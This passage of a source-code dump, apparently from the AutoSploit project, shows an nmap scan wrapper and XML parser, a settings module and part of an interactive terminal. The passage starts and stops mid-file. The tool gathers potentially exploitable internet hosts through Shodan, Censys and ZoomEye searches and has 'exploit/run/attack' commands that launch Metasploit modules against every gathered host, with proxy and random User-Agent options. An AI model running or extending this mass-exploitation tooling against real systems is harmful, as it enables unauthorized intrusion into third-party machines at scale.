to_launch = [] 129 | for item in launch_arguments: 130 | if not item == "": 131 | to_launch.append(item) 132 | lib.output.info("launching nmap scan against {} ({})".format(host, " ".join(to_launch))) 133 | process = subprocess.Popen( 134 | launch_arguments, bufsize=10000, stdin=subprocess.PIPE, 135 | stdout=subprocess.PIPE, stderr=subprocess.PIPE 136 | ) 137 | output, error = process.communicate() 138 | output_data = bytes.decode(output) 139 | nmap_error = bytes.decode(error) 140 | nmap_error_tracestack = [] 141 | nmap_warn_tracestack = [] 142 | if len(nmap_error) > 0: 143 | for line in nmap_error.split(os.linesep): 144 | if len(line) != 0: 145 | if lib.settings.NMAP_ERROR_REGEX_WARNING.search(line) is not None: 146 | nmap_warn_tracestack.append(line + os.linesep) 147 | else: 148 | nmap_error_tracestack.append(line + os.linesep) 149 | write_data(host, output_data, is_xml=True) 150 | return output_data, "".join(nmap_warn_tracestack), "".join(nmap_error_tracestack) 151 | 152 | 153 | def parse_xml_output(output, warnings, error): 154 | """ 155 | parse the XML data out of the file into a dict 156 | """ 157 | results = {} 158 | try: 159 | root = ElementTree.fromstring(output) 160 | except Exception: 161 | if len(error) != 0: 162 | raise lib.errors.NmapScannerError(error) 163 | else: 164 | raise lib.errors.NmapScannerError(output) 165 | results['nmap_scan'] = { 166 | 'full_command_line': root.get('args'), 167 | 'scan_information': {}, 168 | 'scan_stats': { 169 | 'time_string': root.find('runstats/finished').get('timestr'), 170 | 'elapsed': root.find('runstats/finished').get('elapsed'), 171 | 'hosts_up': root.find('runstats/hosts').get('up'), 172 | 'down_hosts': root.find('runstats/hosts').get('down'), 173 | 'total_hosts_scanned': root.find('runstats/hosts').get('total') 174 | } 175 | } 176 | if len(error) != 0: 177 | results['nmap_scan']['scan_information']['errors'] = error 178 | if len(warnings) != 0: 179 | results['nmap_scan']['scan_information']['warnings'] = warnings 180 | for info in root.findall('scaninfo'): 181 | results['nmap_scan']['scan_information'][info.get('protocol')] = { 182 | 'method': info.get('type'), 183 | 'services': info.get('services') 184 | } 185 | for attempted_host in root.findall('host'): 186 | host = None 187 | addresses = {} 188 | vendors = {} 189 | for address in attempted_host.findall("address"): 190 | address_type = address.get('addrtype') 191 | addresses[address_type] = address.get('addr') 192 | if address_type == "ipv4": 193 | host = addresses[address_type] 194 | elif address_type == "mac" and address.get('vendor') is not None: 195 | vendors[addresses[address_type]] = address.get('vendor') 196 | if host is None: 197 | host = attempted_host.find('address').get('addr') 198 | hostnames = [] 199 | if len(attempted_host.findall('hostnames/hostname')) != 0: 200 | for current_hostnames in attempted_host.findall('hostnames/hostname'): 201 | hostnames.append({ 202 | 'hostname': current_hostnames.get('name'), 203 | 'host_type': current_hostnames.get('type') 204 | }) 205 | else: 206 | hostnames.append({ 207 | 'hostname': None, 208 | 'host_type': None 209 | }) 210 | 211 | results['nmap_scan'][host] = {} 212 | results['nmap_scan'][host]['hostnames'] = hostnames 213 | results['nmap_scan'][host]['addresses'] = addresses 214 | results['nmap_scan'][host]['vendors'] = vendors 215 | 216 | for status in attempted_host.findall('status'): 217 | results['nmap_scan'][host]['status'] = { 218 | 'state': status.get('state'), 219 | 'reason': status.get('reason') 220 | } 221 | for uptime in attempted_host.findall('uptime'): 222 | results['nmap_scan'][host]['uptime'] = { 223 | 'seconds': uptime.get('seconds'), 224 | 'lastboot': uptime.get('lastboot') 225 | } 226 | for discovered_port in attempted_host.findall('ports/port'): 227 | protocol = discovered_port.get('protocol') 228 | port_number = discovered_port.get('portid') 229 | port_state = discovered_port.find('state').get('state') 230 | port_reason = discovered_port.find('state').get('reason') 231 | 232 | # this is actually a thing!! 233 | name = discovered_config = discovered_version = extra_information = discovered_product = stuff = "" 234 | for discovered_name in discovered_port.findall('service'): 235 | name = discovered_name.get('name') 236 | if discovered_name.get('product'): 237 | discovered_product = discovered_name.get('product') 238 | if discovered_name.get('version'): 239 | discovered_version = discovered_name.get('version') 240 | if discovered_name.get('extrainfo'): 241 | extra_information = discovered_name.get('extrainfo') 242 | if discovered_name.get('conf'): 243 | discovered_config = discovered_name.get('conf') 244 | 245 | for other_stuff in discovered_name.findall('cpe'): 246 | stuff = other_stuff.text 247 | if protocol not in results['nmap_scan'][host].keys(): 248 | results['nmap_scan'][host][protocol] = list() 249 | results['nmap_scan'][host][protocol].append({ 250 | 'port': port_number, 'state': port_state, 'reason': port_reason, 251 | 'name': name, 'product': discovered_product, 'version': discovered_version, 252 | 'extrainfo': extra_information, 'conf': discovered_config, 'cpe': stuff 253 | }) 254 | 255 | return results 256 | -------------------------------------------------------------------------------- /lib/settings.py: -------------------------------------------------------------------------------- 1 | import os 2 | import re 3 | import sys 4 | import time 5 | import socket 6 | import random 7 | import platform 8 | import getpass 9 | import tempfile 10 | import readline 11 | import distutils.spawn 12 | from subprocess import ( 13 | PIPE, 14 | Popen 15 | ) 16 | 17 | import psutil 18 | 19 | import lib.output 20 | import lib.banner 21 | import lib.jsonize 22 | 23 | 24 | class AutoSploitCompleter(object): 25 | 26 | """ 27 | object to create an auto completer for the terminal 28 | """ 29 | 30 | def __init__(self, opts): 31 | self.opts = sorted(opts) 32 | self.possibles = [] 33 | 34 | def complete_text(self, text, state): 35 | if state == 0: 36 | if text: 37 | self.possibles = [m for m in self.opts if m.startswith(text)] 38 | else: 39 | self.possibles = self.opts[:] 40 | try: 41 | return self.possibles[state] 42 | except IndexError: 43 | return None 44 | 45 | 46 | TERMINAL_HELP_MESSAGE = """ 47 | COMMAND: SUMMARY: 48 | --------- -------- 49 | view/show Show the already gathered hosts 50 | mem[ory]/history Display the command history 51 | exploit/run/attack Run the exploits on the already gathered hosts 52 | search/api/gather Search the API's for hosts 53 | exit/quit Exit the terminal session 54 | single Load a single host into the file, or multiple hosts separated by a comma (1,2,3,..) 55 | personal/custom Load a custom host file 56 | tokens/reset Reset API tokens if needed 57 | external View loaded external commands 58 | ver[sion] View the current version of the program 59 | clean/clear Clean the hosts.txt file of duplicate IP addresses 60 | help/? Display this help 61 | """ 62 | 63 | # current directory 64 | CUR_DIR = "{}".format(os.getcwd()) 65 | 66 | # home 67 | HOME = "{}/.autosploit_home".format(os.path.expanduser("~")) 68 | 69 | # backup the current hosts file 70 | HOST_FILE_BACKUP = "{}/backups".format(HOME) 71 | 72 | # autosploit command history file path 73 | HISTORY_FILE_PATH = "{}/.history".format(HOME) 74 | 75 | # we'll save the scans xml output for future use 76 | NMAP_XML_OUTPUT_BACKUP = "{}/nmap_scans/xml".format(HOME) 77 | 78 | # we'll dump the generated dict data into JSON and save it into a file 79 | NMAP_JSON_OUTPUT_BACKUP = "{}/nmap_scans/json".format(HOME) 80 | 81 | # regex to discover errors or warnings 82 | NMAP_ERROR_REGEX_WARNING = re.compile("^warning: .*", re.IGNORECASE) 83 | 84 | # possible options in nmap 85 | NMAP_OPTIONS_PATH = "{}/etc/text_files/nmap_opts.lst".format(CUR_DIR) 86 | 87 | # possible paths for nmap 88 | NMAP_POSSIBLE_PATHS = ( 89 | 'nmap', '/usr/bin/nmap', '/usr/local/bin/nmap', '/sw/bin/nmap', '/opt/local/bin/nmap' 90 | ) 91 | 92 | # link to the checksums 93 | CHECKSUM_LINK = open("{}/etc/text_files/checksum_link.txt".format(CUR_DIR)).read() 94 | 95 | # path to the file containing all the discovered hosts 96 | HOST_FILE = "{}/hosts.txt".format(CUR_DIR) 97 | try: 98 | open(HOST_FILE).close() 99 | except: 100 | open(HOST_FILE, "a+").close() 101 | 102 | # path to the folder containing all the JSON exploit modules 103 | EXPLOIT_FILES_PATH = "{}/etc/json".format(CUR_DIR) 104 | 105 | # path to the usage and legal file 106 | USAGE_AND_LEGAL_PATH = "{}/etc/text_files/general".format(CUR_DIR) 107 | 108 | # one bash script to rule them all takes an argument via the operating system 109 | START_SERVICES_PATH = "{}/etc/scripts/start_services.sh".format(CUR_DIR) 110 | 111 | # path where we will keep the rc scripts 112 | RC_SCRIPTS_PATH = "{}/autosploit_out/".format(HOME) 113 | 114 | # path to the file that will contain our query 115 | QUERY_FILE_PATH = tempfile.NamedTemporaryFile(delete=False).name 116 | 117 | # default HTTP User-Agent 118 | DEFAULT_USER_AGENT = "AutoSploit/{} (Language=Python/{}; Platform={})".format( 119 | lib.banner.VERSION, sys.version.split(" ")[0], platform.platform().split("-")[0] 120 | ) 121 | 122 | # the prompt for the platforms 123 | PLATFORM_PROMPT = "\n{}@\033[36mPLATFORM\033[0m$ ".format(getpass.getuser()) 124 | 125 | # the prompt that will be used most of the time 126 | AUTOSPLOIT_PROMPT = "\033[31m{}\033[0m@\033[36mautosploit\033[0m# ".format(getpass.getuser()) 127 | 128 | # all the paths to the API tokens 129 | API_KEYS = { 130 | "censys": ("{}/etc/tokens/censys.key".format(CUR_DIR), "{}/etc/tokens/censys.id".format(CUR_DIR)), 131 | "shodan": ("{}/etc/tokens/shodan.key".format(CUR_DIR), ) 132 | } 133 | 134 | # all the URLs that we will use while doing the searching 135 | API_URLS = { 136 | "shodan": "https://api.shodan.io/shodan/host/search?key={token}&query={query}", 137 | "censys": "https://censys.io/api/v1/search/ipv4", 138 | "zoomeye": ( 139 | "https://api.zoomeye.org/user/login", 140 | "https://api.zoomeye.org/web/search" 141 | ) 142 | } 143 | 144 | # has msf been launched? 145 | MSF_LAUNCHED = False 146 | 147 | # token path for issue requests 148 | TOKEN_PATH = "{}/etc/text_files/auth.key".format(CUR_DIR) 149 | 150 | # location of error files 151 | ERROR_FILES_LOCATION = "{}/.autosploit_errors".format(HOME) 152 | 153 | # terminal options 154 | AUTOSPLOIT_TERM_OPTS = { 155 | 1: "usage and legal", 2: "gather hosts", 3: "custom hosts", 156 | 4: "add single host", 5: "view gathered hosts", 6: "exploit gathered hosts", 157 | 99: "quit" 158 | } 159 | 160 | # global variable for the search animation 161 | stop_animation = False 162 | 163 | 164 | def load_external_commands(): 165 | """ 166 | create a list of external commands from provided directories 167 | """ 168 | paths = ["/bin", "/usr/bin"] 169 | loaded_externals = [] 170 | for f in paths: 171 | for cmd in os.listdir(f): 172 | if not os.path.isdir("{}/{}".format(f, cmd)): 173 | loaded_externals.append(cmd) 174 | return loaded_externals 175 | 176 | 177 | def backup_host_file(current, path): 178 | """ 179 | backup the current hosts file 180 | """ 181 | import datetime 182 | import shutil 183 | 184 | if not os.path.exists(path): 185 | os.makedirs(path) 186 | new_filename = "{}/hosts_{}_{}.txt".format( 187 | path, 188 | lib.jsonize.random_file_name(length=22), 189 | str(datetime.datetime.today()).split(" ")[0] 190 | ) 191 | shutil.copyfile(current, new_filename) 192 | return new_filename 193 | 194 | 195 | def auto_completer(keywords): 196 | """ 197 | function to initialize the auto complete utility 198 | """ 199 | completer = AutoSploitCompleter(keywords) 200 | readline.set_completer(completer.complete_text) 201 | readline.parse_and_bind('tab: complete') 202 | 203 | 204 | def validate_ip_addr(provided, home_ok=False): 205 | """ 206 | validate an IP address to see if it is real or not 207 | """ 208 | if not home_ok: 209 | not_acceptable = ("0.0.0.0", "127.0.0.1", "255.255.255.255") 210 | else: 211 | not_acceptable = ("255.255.255.255",) 212 | if provided not in not_acceptable: 213 | try: 214 | socket.inet_aton(provided) 215 | return True 216 | except: 217 | return False 218 | return False 219 | 220 | 221 | def check_services(service_name): 222 | """ 223 | check to see if certain services ar started 224 | """ 225 | try: 226 | all_processes = set() 227 | for pid in psutil.pids(): 228 | running_proc = psutil.Process(pid) 229 | all_processes.add(" ".join(running_proc.cmdline()).strip()) 230 | for proc in list(all_processes): 231 | if service_name in proc: 232 | return True 233 | return False 234 | except psutil.ZombieProcess as e: 235 | # zombie processes appear to happen on macOS for some reason 236 | # so we'll just kill them off 237 | pid = str(e).split("=")[-1].split(")")[0] 238 | os.kill(int(pid), 0) 239 | return True 240 | 241 | 242 | def write_to_file(data_to_write, filename, mode=None): 243 | """ 244 | write data to a specified file, if it exists, ask to overwrite 245 | """ 246 | global stop_animation 247 | 248 | if os.path.exists(filename): 249 | if not mode: 250 | stop_animation = True 251 | is_append = lib.output.prompt("would you like to (a)ppend or (o)verwrite the file") 252 | if is_append.lower() == "o": 253 | mode = "w" 254 | elif is_append.lower() == "a": 255 | mode = "a+" 256 | else: 257 | lib.output.error("invalid input provided ('{}'), appending to file".format(is_append)) 258 | lib.output.error("Search results NOT SAVED!") 259 | 260 | if mode == "w": 261 | lib.output.warning("Overwriting to {}".format(filename)) 262 | if mode == "a": 263 | lib.output.info("Appending to {}".format(filename)) 264 | 265 | else: 266 | # File does not exists, mode does not matter 267 | mode = "w" 268 | 269 | with open(filename, mode) as log: 270 | if isinstance(data_to_write, (tuple, set, list)): 271 | for item in list(data_to_write): 272 | log.write("{}{}".format(item.strip(), os.linesep)) 273 | else: 274 | log.write(data_to_write) 275 | lib.output.info("successfully wrote info to '{}'".format(filename)) 276 | return filename 277 | 278 | 279 | def load_api_keys(unattended=False, path="{}/etc/tokens".format(CUR_DIR)): 280 | 281 | """ 282 | load the API keys from their .key files 283 | """ 284 | 285 | # make the directory if it does not exist 286 | if not os.path.exists(path): 287 | os.mkdir(path) 288 | 289 | for key in API_KEYS.keys(): 290 | if not os.path.isfile(API_KEYS[key][0]): 291 | access_token = lib.output.prompt("enter your {} API token".format(key.title()), lowercase=False) 292 | if key.lower() == "censys": 293 | identity = lib.output.prompt("enter your {} ID".format(key.title()), lowercase=False) 294 | with open(API_KEYS[key][1], "a+") as log: 295 | log.write(identity) 296 | with open(API_KEYS[key][0], "a+") as log: 297 | log.write(access_token.strip()) 298 | else: 299 | lib.output.info("{} API token loaded from {}".format(key.title(), API_KEYS[key][0])) 300 | api_tokens = { 301 | "censys": (open(API_KEYS["censys"][0]).read().rstrip(), open(API_KEYS["censys"][1]).read().rstrip()), 302 | "shodan": (open(API_KEYS["shodan"][0]).read().rstrip(), ) 303 | } 304 | return api_tokens 305 | 306 | 307 | def cmdline(command, is_msf=True): 308 | """ 309 | send the commands through subprocess 310 | """ 311 | 312 | lib.output.info("Executing command '{}'".format(command.strip())) 313 | split_cmd = [x.strip() for x in command.split(" ") if x] 314 | 315 | sys.stdout.flush() 316 | stdout_buff = [] 317 | 318 | try: 319 | proc = Popen(split_cmd, stdout=PIPE, bufsize=1) 320 | for stdout_line in iter(proc.stdout.readline, b''): 321 | stdout_buff += [stdout_line.rstrip()] 322 | if is_msf: 323 | print("(msf)>> {}".format(stdout_line).rstrip()) 324 | else: 325 | print("{}".format(stdout_line).rstrip()) 326 | except OSError as e: 327 | stdout_buff += "ERROR: " + str(e) 328 | 329 | return stdout_buff 330 | 331 | 332 | def check_for_msf(): 333 | """ 334 | check the ENV PATH for msfconsole 335 | """ 336 | return os.getenv("msfconsole", False) or distutils.spawn.find_executable("msfconsole") 337 | 338 | 339 | def logo(): 340 | """ 341 | display a random banner from the banner.py file 342 | """ 343 | print(lib.banner.banner_main()) 344 | 345 | 346 | def animation(text): 347 | """ 348 | display an animation while working, this will be 349 | single threaded so that it will not screw with the 350 | current running process 351 | """ 352 | global stop_animation 353 | i = 0 354 | while not stop_animation: 355 | """ 356 | if stop_animation is True: 357 | print("\n") 358 | """ 359 | temp_text = list(text) 360 | if i >= len(temp_text): 361 | i = 0 362 | temp_text[i] = temp_text[i].upper() 363 | temp_text = ''.join(temp_text) 364 | sys.stdout.write("\033[96m\033[1m{}...\r\033[0m".format(temp_text)) 365 | sys.stdout.flush() 366 | i += 1 367 | time.sleep(0.1) 368 | 369 | 370 | def start_animation(text): 371 | """ 372 | start the animation until stop_animation is False 373 | """ 374 | global stop_animation 375 | 376 | if not stop_animation: 377 | import threading 378 | 379 | t = threading.Thread(target=animation, args=(text,)) 380 | t.daemon = True 381 | t.start() 382 | else: 383 | lib.output.misc_info(text) 384 | 385 | 386 | def close(warning, status=1): 387 | """ 388 | exit if there's an issue 389 | """ 390 | lib.output.error(warning) 391 | sys.exit(status) 392 | 393 | 394 | def grab_random_agent(): 395 | """ 396 | get a random HTTP User-Agent 397 | """ 398 | user_agent_path = "{}/etc/text_files/agents.txt" 399 | with open(user_agent_path.format(CUR_DIR)) as agents: 400 | return random.choice(agents.readlines()).strip() 401 | 402 | 403 | def configure_requests(proxy=None, agent=None, rand_agent=False): 404 | """ 405 | configure the proxy and User-Agent for the requests 406 | """ 407 | if proxy is not None: 408 | proxy_dict = { 409 | "http": proxy, 410 | "https": proxy, 411 | "ftp": proxy 412 | } 413 | lib.output.misc_info("setting proxy to: '{}'".format(proxy)) 414 | else: 415 | proxy_dict = None 416 | 417 | if agent is not None: 418 | header_dict = { 419 | "User-Agent": agent 420 | } 421 | lib.output.misc_info("setting HTTP User-Agent to: '{}'".format(agent)) 422 | elif rand_agent: 423 | header_dict = { 424 | "User-Agent": grab_random_agent() 425 | } 426 | lib.output.misc_info("setting HTTP User-Agent to: '{}'".format(header_dict["User-Agent"])) 427 | else: 428 | header_dict = { 429 | "User-Agent": DEFAULT_USER_AGENT 430 | } 431 | 432 | return proxy_dict, header_dict 433 | 434 | 435 | def save_error_to_file(error_info, error_message, error_class): 436 | """ 437 | save an error traceback to log file for further use 438 | """ 439 | 440 | import string 441 | 442 | if not os.path.exists(ERROR_FILES_LOCATION): 443 | os.makedirs(ERROR_FILES_LOCATION) 444 | acceptable = string.ascii_letters 445 | filename = [] 446 | for _ in range(12): 447 | filename.append(random.choice(acceptable)) 448 | filename = ''.join(filename) + "_AS_error.txt" 449 | file_path = "{}/{}".format(ERROR_FILES_LOCATION, filename) 450 | with open(file_path, "a+") as log: 451 | log.write( 452 | "Traceback (most recent call):\n " + error_info.strip() + "\n{}: {}".format(error_class, error_message) 453 | ) 454 | return file_path 455 | 456 | 457 | def download_modules(link): 458 | """ 459 | download new module links 460 | """ 461 | import re 462 | import requests 463 | import tempfile 464 | 465 | lib.output.info('downloading: {}'.format(link)) 466 | retval = "" 467 | req = requests.get(link) 468 | content = req.content 469 | split_data = content.split(" ") 470 | searcher = re.compile("exploit/\w+/\w+") 471 | storage_file = tempfile.NamedTemporaryFile(delete=False) 472 | for item in split_data: 473 | if searcher.search(item) is not None: 474 | retval += item + "\n" 475 | with open(storage_file.name, 'a+') as tmp: 476 | tmp.write(retval) 477 | return storage_file.name 478 | 479 | 480 | def find_similar(command, internal, external): 481 | """ 482 | find commands similar to the one provided 483 | """ 484 | retval = [] 485 | first_char = command[0] 486 | for inter in internal: 487 | if inter.startswith(first_char): 488 | retval.append(inter) 489 | for exter in external: 490 | if exter.startswith(first_char): 491 | retval.append(exter) 492 | return retval 493 | -------------------------------------------------------------------------------- /lib/term/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sulhan12/AutoSploit/9a6a5efac31b488524f9f56f4e2c08f64ec87227/lib/term/__init__.py -------------------------------------------------------------------------------- /lib/term/terminal.py: -------------------------------------------------------------------------------- 1 | import os 2 | import json 3 | import datetime 4 | 5 | import lib.banner 6 | import lib.settings 7 | import lib.output 8 | import lib.errors 9 | import lib.jsonize 10 | import api_calls.shodan 11 | import api_calls.zoomeye 12 | import api_calls.censys 13 | import lib.exploitation.exploiter 14 | try: 15 | raw_input 16 | except: 17 | input = raw_input 18 | 19 | 20 | class AutoSploitTerminal(object): 21 | 22 | """ 23 | class object for the main terminal of the program 24 | """ 25 | 26 | internal_terminal_commands = [ 27 | # viewing gathered hosts 28 | "view", "show", 29 | # displaying memory 30 | "mem", "memory", "history", 31 | # attacking targets 32 | "exploit", "run", "attack", 33 | # search API's 34 | "search", "api", "gather", 35 | # quit the terminal 36 | "exit", "quit", 37 | # single hosts 38 | "single", 39 | # custom hosts list 40 | "custom", "personal", 41 | # display help 42 | "?", "help", 43 | # display external commands 44 | "external", 45 | # reset API tokens 46 | "reset", "tokens", 47 | # show the version number 48 | "ver", "version", 49 | # clean the hosts file of duplicate IP's 50 | "clean", "clear", 51 | # easter eggs! 52 | "idkwhatimdoing", "ethics", "skid", 53 | # nmap arguments 54 | "nmap", "mapper", "mappy" 55 | ] 56 | external_terminal_commands = lib.settings.load_external_commands() 57 | api_call_pointers = { 58 | "shodan": api_calls.shodan.ShodanAPIHook, 59 | "zoomeye": api_calls.zoomeye.ZoomEyeAPIHook, 60 | "censys": api_calls.censys.CensysAPIHook 61 | } 62 | 63 | def __init__(self, tokens, modules): 64 | self.history = [] 65 | self.quit_terminal = False 66 | self.tokens = tokens 67 | self.history_dir = "{}/{}".format(lib.settings.HISTORY_FILE_PATH, datetime.date.today()) 68 | self.full_history_path = "{}/autosploit.history".format(self.history_dir) 69 | self.modules = modules 70 | try: 71 | self.loaded_hosts = open(lib.settings.HOST_FILE).readlines() 72 | except (IOError, Exception): 73 | lib.output.warning("no hosts file present") 74 | self.loaded_hosts = open(lib.settings.HOST_FILE, "a+").readlines() 75 | 76 | def __reload(self): 77 | self.loaded_hosts = open(lib.settings.HOST_FILE).readlines() 78 | 79 | def reflect_memory(self, max_memory=100): 80 | """ 81 | reflect the command memory out of the history file 82 | """ 83 | if os.path.exists(self.history_dir): 84 | tmp = [] 85 | try: 86 | with open(self.full_history_path) as history: 87 | for item in history.readlines(): 88 | tmp.append(item.strip()) 89 | except: 90 | pass 91 | if len(tmp) == 0: 92 | lib.output.warning("currently no history") 93 | elif len(tmp) > max_memory: 94 | import shutil 95 | 96 | history_file_backup_path = "{}.{}.old".format( 97 | self.full_history_path, 98 | lib.jsonize.random_file_name(length=12) 99 | ) 100 | shutil.copy(self.full_history_path, history_file_backup_path) 101 | os.remove(self.full_history_path) 102 | open(self.full_history_path, 'a+').close() 103 | lib.output.misc_info("history file to large, backed up under '{}'".format(history_file_backup_path)) 104 | else: 105 | for cmd in tmp: 106 | self.history.append(cmd) 107 | 108 | def do_display_history(self): 109 | """ 110 | display the history from the history files 111 | """ 112 | for i, item in enumerate(self.history, start=1): 113 | if len(list(str(i))) == 2: 114 | spacer1, spacer2 = " ", " " 115 | elif len(list(str(i))) == 3: 116 | spacer1, spacer2 = " ", " " 117 | else: 118 | spacer1, spacer2 = " ", " " 119 | print("{}{}{}{}".format(spacer1, i, spacer2, item)) 120 | 121 | def get_choice(self): 122 | """ 123 | get the provided choice and return a tuple of options and the choice 124 | """ 125 | original_choice = raw_input(lib.settings.AUTOSPLOIT_PROMPT) 126 | try: 127 | choice_checker = original_choice.split(" ")[0] 128 | except: 129 | choice_checker = original_choice 130 | if choice_checker in self.internal_terminal_commands: 131 | retval = ("internal", original_choice) 132 | elif choice_checker in self.external_terminal_commands: 133 | retval = ("external", original_choice) 134 | else: 135 | retval = ("unknown", original_choice) 136 | return retval 137 | 138 | def do_show_version_number(self): 139 | """ 140 | display the current version number 141 | """ 142 | lib.output.info("your current version number: {}".format(lib.banner.VERSION)) 143 | 144 | def do_display_external(self): 145 | """ 146 | display all external commands 147 | """ 148 | print(" ".join(self.external_terminal_commands)) 149 | 150 | def do_terminal_command(self, command): 151 | """ 152 | run a terminal command 153 | """ 154 | lib.settings.cmdline(command, is_msf=False) 155 | 156 | def do_clean_hosts(self): 157 | """ 158 | Clean the hosts.txt file of any duplicate IP addresses 159 | """ 160 | retval = set() 161 | current_size = len(self.loaded_hosts) 162 | for host in self.loaded_hosts: 163 | retval.add(host) 164 | cleaned_size = len(retval) 165 | with open(lib.settings.HOST_FILE, 'w') as hosts: 166 | for item in list(retval): 167 | hosts.write(item) 168 | if current_size != cleaned_size: 169 | lib.output.info("cleaned {} duplicate IP address(es) (total of {})".format( 170 | current_size - cleaned_size, cleaned_size 171 | ) 172 | ) 173 | self.__reload() 174 | 175 | def do_token_reset(self, api, token, username): 176 | """ 177 | Explanation: 178 | ------------ 179 | Reset the API tokens when needed, this will overwrite the existing 180 | API token with a provided one 181 | 182 | Parameters: 183 | ----------- 184 | :param api: name of the API to reset 185 | :param token: the token that will overwrite the current token 186 | :param username: if resetting Censys this will be the user ID token 187 | 188 | Examples: 189 | --------- 190 | Censys -> reset/tokens censys 191 | Shodan -> reset.tokens shodan 192 | """ 193 | import sys 194 | 195 | if sys.version_info > (3,): 196 | token = token.encode("utf-8") 197 | username = username.encode("utf-8") 198 | 199 | if api.lower() == "censys": 200 | lib.output.info("resetting censys API credentials") 201 | with open(lib.settings.API_KEYS["censys"][0], 'w') as token_: 202 | token_.write(token) 203 | with open(lib.settings.API_KEYS["censys"][1], 'w') as username_: 204 | username_.write(username) 205 | else: 206 | with open(lib.settings.API_KEYS["shodan"][0], 'w') as token_: 207 | token_.write(token) 208 | lib.output.warning("program must be restarted for the new tokens to initialize") 209 | 210 | def do_api_search(self, requested_api_data, query, tokens): 211 | """ 212 | Explanation: 213 | ------------ 214 | Search the API with a provided query for potentially exploitable hosts. 215 | 216 | Parameters: 217 | ----------- 218 | :param requested_api_data: data to be used with the API tuple of info 219 | :param query: the query to be searched 220 | :param tokens: an argument dict that will contain the token information 221 | 222 | Command Format: 223 | -------------- 224 | search[/api/gather] API_NAME[API_NAME,...](shodan,censys,zoomeye) QUERY 225 | 226 | Examples: 227 | --------- 228 | search shodan,censys,zoomeye windows 10 229 | search shodan windows 7 230 | """ 231 | acceptable_api_names = ("shodan", "censys", "zoomeye") 232 | api_checker = lambda l: all(i.lower() in acceptable_api_names for i in l) 233 | 234 | try: 235 | if len(query) < 1: 236 | query = "".join(query) 237 | else: 238 | query = " ".join(query) 239 | except: 240 | query = query 241 | 242 | if query == "" or query.isspace(): 243 | lib.output.warning("looks like you forgot the query") 244 | return 245 | try: 246 | api_list = requested_api_data.split(",") 247 | except: 248 | api_list = [requested_api_data] 249 | prompt_for_save = len(open(lib.settings.HOST_FILE).readlines()) != 0 250 | if prompt_for_save: 251 | save_mode = lib.output.prompt( 252 | "would you like to [a]ppend or [o]verwrite the file[a/o]", lowercase=True 253 | ) 254 | if save_mode.startswith("o"): 255 | backup = lib.settings.backup_host_file(lib.settings.HOST_FILE, lib.settings.HOST_FILE_BACKUP) 256 | lib.output.misc_info("current host file backed up under: '{}'".format(backup)) 257 | save_mode = "w" 258 | else: 259 | if not any(save_mode.startswith(s) for s in ("a", "o")): 260 | lib.output.misc_info("provided option is not valid, defaulting to 'a'") 261 | save_mode = "a+" 262 | else: 263 | save_mode = "a+" 264 | 265 | proxy = lib.output.prompt("enter your proxy or press enter for none", lowercase=False) 266 | if proxy.isspace() or proxy == "": 267 | proxy = {"http": "", "https": ""} 268 | else: 269 | proxy = {"http": proxy, "https": proxy} 270 | agent = lib.output.prompt("use a [r]andom User-Agent or the [d]efault one[r/d]", lowercase=True) 271 | if agent.startswith("r"): 272 | agent = {"User-Agent": lib.settings.grab_random_agent()} 273 | elif agent.startswith("d"): 274 | agent = {"User-Agent": lib.settings.DEFAULT_USER_AGENT} 275 | else: 276 | lib.output.warning("invalid option, using default") 277 | agent = {"User-Agent": lib.settings.DEFAULT_USER_AGENT} 278 | for api in api_list: 279 | res = api_checker([api]) 280 | if not res: 281 | lib.output.error( 282 | "API: '{}' is not a valid API, will be skipped".format(api) 283 | ) 284 | else: 285 | with open(lib.settings.QUERY_FILE_PATH, "a+") as tmp: 286 | tmp.write(query) 287 | lib.output.info( 288 | "starting search on API {} using query: '{}'".format(api, query) 289 | ) 290 | try: 291 | self.api_call_pointers[api.lower()]( 292 | token=tokens["shodan"][0] if api == "shodan" else tokens["censys"][0], 293 | identity=tokens["censys"][1] if api == "censys" else "", 294 | query=query, 295 | save_mode=save_mode, 296 | proxy=proxy, 297 | agent=agent 298 | ).search() 299 | except (lib.errors.AutoSploitAPIConnectionError, Exception) as e: 300 | lib.settings.stop_animation = True 301 | lib.output.error("error searching API: '{}', error message: '{}'".format(api, str(e))) 302 | lib.settings.stop_animation = True 303 | 304 | def do_display_usage(self): 305 | """ 306 | display the full help menu 307 | """ 308 | print(lib.settings.TERMINAL_HELP_MESSAGE) 309 | 310 | def do_view_gathered(self): 311 | """ 312 | view the gathered hosts 313 | """ 314 | if len(self.loaded_hosts) != 0: 315 | for host in self.loaded_hosts: 316 | lib.output.info(host.strip()) 317 | else: 318 | lib.output.warning("currently no gathered hosts") 319 | 320 | def do_add_single_host(self, ip): 321 | """ 322 | Explanation: 323 | ------------ 324 | Add a single host by IP address 325 | Or a list of single hosts separatedd by a comma 326 | 327 | Parameters: 328 | ----------- 329 | :param ip: IP address to be added 330 | 331 | Command Format: 332 | -------------- 333 | single IP[,IP,IP,IP,IP,...] 334 | 335 | Examples: 336 | --------- 337 | single 89.76.12.124,89.76.12.43 338 | """ 339 | for item in ip.split(","): 340 | validated_ip = lib.settings.validate_ip_addr(item) 341 | if not validated_ip: 342 | lib.output.error("provided IP '{}' is invalid, try again".format(ip)) 343 | else: 344 | with open(lib.settings.HOST_FILE, "a+") as hosts: 345 | hosts.write(item + "\n") 346 | lib.output.info("host '{}' saved to hosts file".format(item)) 347 | 348 | def do_quit_terminal(self, save_history=True): 349 | """ 350 | quit the terminal and save the command history 351 | """ 352 | self.quit_terminal = True 353 | if save_history: 354 | if not os.path.exists(self.history_dir): 355 | os.makedirs(self.history_dir) 356 | lib.output.misc_info("saving history") 357 | with open(self.full_history_path, "a+") as hist: 358 | for item in self.history: 359 | hist.write(item + "\n") 360 | lib.output.info("exiting terminal session") 361 | 362 | def do_exploit_targets(self, workspace_info, shodan_token=None): 363 | """ 364 | Explanation: 365 | ------------ 366 | Exploit the already gathered hosts inside of the hosts.txt file 367 | 368 | Parameters: 369 | ----------- 370 | :param workspace_info: a tuple of workspace information 371 | 372 | Command Format: 373 | -------------- 374 | exploit[/run/attack] IP PORT WORKSPACE_NAME [whitewash list] 375 | 376 | Examples: 377 | --------- 378 | exploit 127.0.0.1 9065 default whitelist.txt 379 | """ 380 | if workspace_info[3] is not None and workspace_info[3] != "honeycheck": 381 | lib.output.misc_info("doing whitewash on hosts file") 382 | lib.exploitation.exploiter.whitelist_wash( 383 | open(lib.settings.HOST_FILE).readlines(), 384 | workspace_info[3] 385 | ) 386 | else: 387 | if not 